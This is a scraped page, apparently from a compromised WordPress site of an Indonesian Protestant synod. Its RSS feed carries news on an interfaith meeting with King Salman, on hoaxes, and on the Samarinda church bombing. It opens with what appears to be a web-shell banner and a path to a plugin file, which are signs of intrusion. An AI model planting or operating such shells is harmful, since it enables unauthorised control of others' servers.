ImamBro

Linux cl450113x.maintenis.com 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64
/home/k0357251/public_html Command

Warning: shell_exec() has been disabled for security reasons in /home/k0357251/public_html/wp-content/plugins/hello.php on line 26
Indonesia – Sinode Gereja Protestan Maluku http://sinodegpm.org Media Center GPM Fri, 19 Oct 2018 22:30:51 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.8 Para Tokoh Lintas Agama yang Berdialog dengan Raja Salman http://sinodegpm.org/?p=3685 http://sinodegpm.org/?p=3685#comments Fri, 03 Mar 2017 14:38:00 +0000 http://sinodegpm.org/?p=3685 [Ambon, sinodegpm.org] – Sejumlah tokoh lintas agama berkesempatan untuk bertemu dan berdiskusi langsung dengan Raja Arab Saudi Salman bin Abdul Aziz al-Saud beserta Presiden Joko Widodo. Pertemuan tersebut difasilitasi oleh pemerintah Indonesia dan digelar di Hotel Raffles, Jakarta Selatan, pada Jumat sore, 3 Maret 2017.

Pertemuan dengan tokoh agama ini tergolong istimewa karena dihadiri oleh 28 tokoh lintas agama. Sembilan di antaranya mewakili umat Islam Indonesia, tiga lainnya mewakili umat Konghucu, dan perwakilan dari umat Katolik, Protestan, Buddha, serta Hindu yang masing-masing diwakili oleh empat tokoh.

Mewakili umat Islam di antaranya ialah Din Syamsuddin, Kammarudin Amin, Alwi Shihab, Yenny Wahid, dan Komaruddin Hidayat. Sementara Tokoh-tokoh yang mewakili agama lainnya di antaranya ialah Hanriette T. Hutabarat dan Rony Mandang (Kristen Protestan), Ignatius Suharyo Harjoatmojo dan Franz Magnis Suseno (Kristen Katolik), Hartati Tjakra Murdaya dan Suhadi Sanjaya (Budha), Wisnu Bawa Tenaya dan Ketut Parwata (Hindu), serta Uung Sendana dan Budi Santoso Tanuwibowo (Konghucu).

Pertemuan dan dialog lintas agama itu sendiri dimulai sekitar pukul 14.15 WIB. Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan Puan Maharani, Menteri Luar Negeri Retno Marsudi, dan Menteri Agama Lukman Hakim Saifuddin juga tampak hadir mendampingi Presiden Joko Widodo dalam dialog tersebut.

Berikut ini ialah daftar lengkap nama-nama pemuka agama yang bertemu dengan Raja Salman.

*Islam*
1. Din Syamsuddin
2. Prof. Dr. Azyumardi Azra
3. Prof. Dr. Kammarudin Amin
4. Prof. Dr. Alwi Shihab
5. Zannuba Arriffah C. Rahman (Yenny Wahid)
6. Abdul Mufti
7. Masyakuri Abdillah
8. Komaruddin Hidayat
9. Yudie Latief

*Kristen Protestan*
1. Hanriette T. Hutabarat
2. Pdt. Rony Mandang
3. Pdt. Dr. Jacob Nahuway
4. Gomar Gultom

*Kristen Katolik*
1. Mgr. Ignatius Suharyo Harjoatmojo
2. Mgr. Antonius Subianto Osc
3. Mgr. Paskalis Bruno Syukur Ofm
4. Franz Magnis Suseno

*Budha*
1. S. Hartati Tjakra Murdaya
2. Bhikku Sri Pannyavaro
3. Suhadi Sanjaya
4. Arif Harsono

*Hindu*
1. Mayjen TNI (Purn) Wisnu Bawa Tenaya
2. Ir. Ketut Parwata
3. Letjen TNI Purn Putu Soekreta Soeranta
4. Made Gede ERata

*Konghucu*
1. Uung Sendana
2. Ws. Budi Santoso Tanuwibowo
3. XS Djangrana

Jakarta, 3 Maret 2017
Kepala Biro Pers, Media dan Informasi Sekretariat Presiden

Bey Machmudin

Catatan Pertemuan Tokoh Lintas Agama dengan Raja Salman bin Abdulaziz al-Saud, dari Saudi Arabia
Hotel Raffles Jakarta 3 Maret 2017. ***
Raja Salman memasuki ruang pertemuan bersama Presiden Joko Widodo. Setelah tiba di tempatnya, para tokoh agama diberi kesempatan menyalami Raja Salman dan Presiden Joko Widodo.

Pertemuan dibuka dengan pidato singkat Raja Salman yang, antara lain, berisikan:
1. Raja Salman menghargai bagaimana bangsa Indonesia mengelola keragaman dalam kerukunan;
2. Raja juga mengajak kerjasama dan dialog antar umat beragama demi mencapai toleransi. Semua agama harus dapat menjamin hak-hak azasi manusia;
3. Raja mengajak semua umat untuk bersama-sama memerangi radikalisme, kekerasan dan ekstrimisme; sebaliknya aktif untuk dialog antar umat beragama;
4. Berharap agar semua pimpinan agama yang hadir mendapat petunjuk Ilahi.

Selanjutnya Presiden Jokowi memulai dengan mengatakan, antara lain:
1. Memberitahukan yang hadir ini adakah wakil dari Islam, Katolik, Protestan, Hindu, Buddha dan Khonghucu. Kehadiran para pimpinan agama ini merupakan representasi kemajemukan Indonesia;
2. Harmoni menjadi acuan bagi masyarakat Indonesia di tengah keragaman ini dan para pemimpin agama ini merupakan teladan dari toleransi dan saling menghargai satu sama lain;
3. Kerukunan dan saling menghargai ini merupakan aset Indonesia dan menjadi sumbangan bagi perdamaian dunia.

Kemudian Presiden Joko Widodo bertindak sebagai moderator yang mempersilakan perwakilan dari setiap agama menyampaikan sambutannya.

Secara umum Mgr Suharyo (Katolik), Suhadi (Buddha), Uung Sendana (Khonghucu) Wisnu Bayu Tenaya (Hindu), Henriette Lebang (Kristen) dan Azyumardy Azra (Cendekiawan Muslim) mengungkapkan rasa syukur dan berterima kasih atas kunjungan Raja Salman ke Indonesia. Ia juga menyampaikan penghargaan atas pertemuan ini.

Mgr Suharyo menyebutkan pertemuan ini sebagai sesuatu yang simbolik dan bisa menjadi tonggak sejarah.

Henriette Lebang mengharapkan peran agama-agama dapat membangun spiritualitas otentik yang menyegarkan dan menebar keadilan dan perdamaian. Peran Raja Salman, bersama para pemimpin negara lainnya, penting dalam rangka membangun peradaban dunia.
Henriette juga mengharapkan agar kerjasama RI dan Saudi Arabia meningkat dengan saling menopang dalam memberi perlindungan bagi yang lemah, terutama para pekerja lintas negara.

Azumardy Azra mengatakan bahwa pertemuan ini bukan hanya bermakna bagi RI dan Saudi Arabia, tetapi juga bagi masyarakat dunia.
Azumardy menyambut imbauan Raja dalam menghadapi radikalisme dan teror, seraya mengharapkan agar pusat dialog Arab Saudi yang ada di Wina bisa bekerja bersama pusat-pusat dialog yang ada di Indonesia. Menurutnya, hal ini penting bagi moderasi Islam, sebagai sumbangan bagi peradaban dunia, sehingga Islam sungguh-sungguh sebagai Rahmatan lil alamin.

Acara berlangsung 1 jam dan diakhiri dengan foto bersama.
Jakarta, 3 Maret.2017
Pdt Gomar Gultom, MTh
Sekum.PGI.

104,880 total views, no views today

]]>
http://sinodegpm.org/?feed=rss2&p=3685 264
Menjadi Bijak Hadapi Berita Hoax http://sinodegpm.org/?p=3047 http://sinodegpm.org/?p=3047#comments Fri, 06 Jan 2017 23:07:57 +0000 http://sinodegpm.org/?p=3047 [Ambon,sinodegpm.org] Pencerahan terus dilakukan oleh pemerintah untuk mengurangi atau menghilangkan konten hoax (ketidak benaran suatu informasi).

Gereja Protestan Maluku kurang lebih melakukan hal yang serupa saling bersinergi melihat media diera digital sebagai salah satu tren. Informasi ini terus disampaikan Melalui media pemberitaan terkait hukuman bagi mereka yang berujar kebencian/SARA melalui UU ITE.

Di Twitter ramai dibicarakan oleh Netizen (masyarakat internet) tentang bijak hadapi hoax. Mereka berharap penyebaran konten seperti sara, hoax penyebaran kebencian , radikalisme maupun terorisme dapat dilaporkan dan mendapat perhatian pemerintah. Seruan tersebut dilihat dari Hashtag #BijakHadapiHoax.

Pengguna bisa melakukan screen capture disertai url link, kemudian mengirimkan data ke aduankonten@mail.kominfo.go.id. Kiriman aduan segera diproses setelah melalui verifikasi. Mengutip apa yang diberitakan kominfo.

Laporan database Trust+Positif sampai dengan 2016 mencatat konten negatif yang diblokir sebesar 773.339. Masyarakat juga diimbau untuk memperhatikan konten yang tergolong konten negatif antara lain, pornografi, SARA, penipuan atau perdagangan ilegal, narkoba, perjudian dan radikalisme.

Berdasarkan UU ITE sebagai alasan hak setiap manusia atau individual melindungi dirinya dengan payung hukum. Seperti yang dikatakan dalam UU ITE Pasal 28 Ayat (2).

Perbuatan yang dilarang dalam Pasal 28 ayat (2) UU ITE ialah dengan sengaja dan tanpa hak menyebarkan informasi yang ditujukan untuk menimbulkan rasa kebencian atau permusuhan individu dan/atau kelompok masyarakat tertentu berdasarkan suku, agama, ras, dan antargolongan (SARA).
Bunyi Pasal 28 ayat (2) UU ITE adalah sebagai berikut:

Setiap Orang dengan sengaja dan tanpa hak menyebarkan informasi yang ditujukan untuk menimbulkan rasa kebencian atau permusuhan individu dan/atau kelompok masyarakat tertentu berdasarkan atas suku, agama, ras, dan antargolongan (SARA).

Sebagai warga gereja  hendaknya kita bersama mendukung apa yang dilakukan pemerintah, karena ini merupakan tugas dan tanggung jawab bersama ditengah-tengah era digital yang serba cepat dijalur internet melalu piranti pintar setiap individu.

Hendaknya kita menjadi sadar dan cerdas dalam bermedia. Menjadikan media sebagai gaya memberitakan injil secara adaptif, sehingga gereja menjadi gereja yang menyuarakan suara profetisnya pada “gelombang” yang sama.

Degan demikian semua kita telah menjadi gereja yang merawat kebhinekaan dan kemajemukan di Negara Kesatuan Republik Indonesia

 

5,740 total views, 2 views today

]]>
http://sinodegpm.org/?feed=rss2&p=3047 5
MPH-PGI Kunjungi Keluarga Korban Bom di Gereja Oikoumene http://sinodegpm.org/?p=2573 http://sinodegpm.org/?p=2573#comments Mon, 21 Nov 2016 03:43:41 +0000 http://sinodegpm.org/?p=2573

SAMARINDA,PGI.OR.ID-Sebagai wujud solidaritas, Wakil Sekretaris Umum PGI Pdt. Krise Anki Gosal, bersama Pengurus PGIW Kaltim, Senin (14/11) mengunjungi keluarga korban pelemparan bom di Gereja Oikoumene Samarinda, dan menyampaikan turut berbelasungkawa saat proses pemakaman Olivia Intan Marbun (2,5) di rumah duka, di Loajanan-Harapan Baru, Samarinda.

Orang tua Olivia Intan Marbun bersama keluarga besar dalam kesedihan yang luar biasa karena kehilangan anak terkasih

Orang tua Olivia Intan Marbun bersama keluarga besar dalam kesedihan yang luar biasa karena kehilangan anak terkasih

Selain itu, Pdt. Krise juga mengunjungi RSUD AW Syaranie, Samarinda tempat di mana sebagian korban masih dirawat.  Dia mengaku sangat terenyuh ketika melihat kondisi mereka, yang semuanya adalah anak-anak balita.  “Triniti, salah satu balita, masih kritis di ICU di RS Syaranie. Hari ini dilarang di kunjungi siapapun,” jelasnya.

Sebagaimana diketahui akibat aksi teror yang terjadi para Minggu (13/11) itu, empat orang anak menjadi korban yaitu Triniti Hutahaean (3), Alfaro Aurelius Tristan Sinaga (4), Anita Kristobel Sihotang (2 tahun) dan Intan Olivia Marbun (2,5) yang telah meninggal dunia pada Senin (14/11).

Pdt. Krise Anki Gosal (kanan ujung) bersama Pengurus PGIW Kaltim di rumah duka

Pdt. Krise Anki Gosal (kanan ujung) bersama Pengurus PGIW Kaltim di rumah duka

Dalam siaran pers yang dikeluarkan beberapa waktu lalu, PGI menegaskan, mengecam keras tindakan pengeboman ini, sama seperti tindakan-tindakan teror lainnya. Bagi PGI, tindakan kekerasan, apapun bentuknya, tidak akan pernah bisa menyelesaikan masalah. Sebagai bangsa yang beradab, kita telah menyepakati bahwa kekerasan dan tindakan paksaan  hanya boleh digunakan oleh negara, dan itu pun harus melalui prosedur hukum.

PGI juga menghimbau kepada semua umat Kristen di mana pun berada untuk tetap tenang dan tidak perlu membangun opini liar, terutama di media sosial, yang dapat semakin menebar teror dan kebencian, baik bagi diri sendiri maupun masyarakat umum. Dan, menghimbau umat untuk mempercayakan penanganan masalah ini kepada pemerintah dan aparat penegak hukum, dalam hal ini Kepolisian Republik Indonesia, sesuai prosedur dan mekanisme hukum yang berlaku di negara ini.

Sumber : pgi.or.id

4,997 total views, 13 views today

]]>
http://sinodegpm.org/?feed=rss2&p=2573 296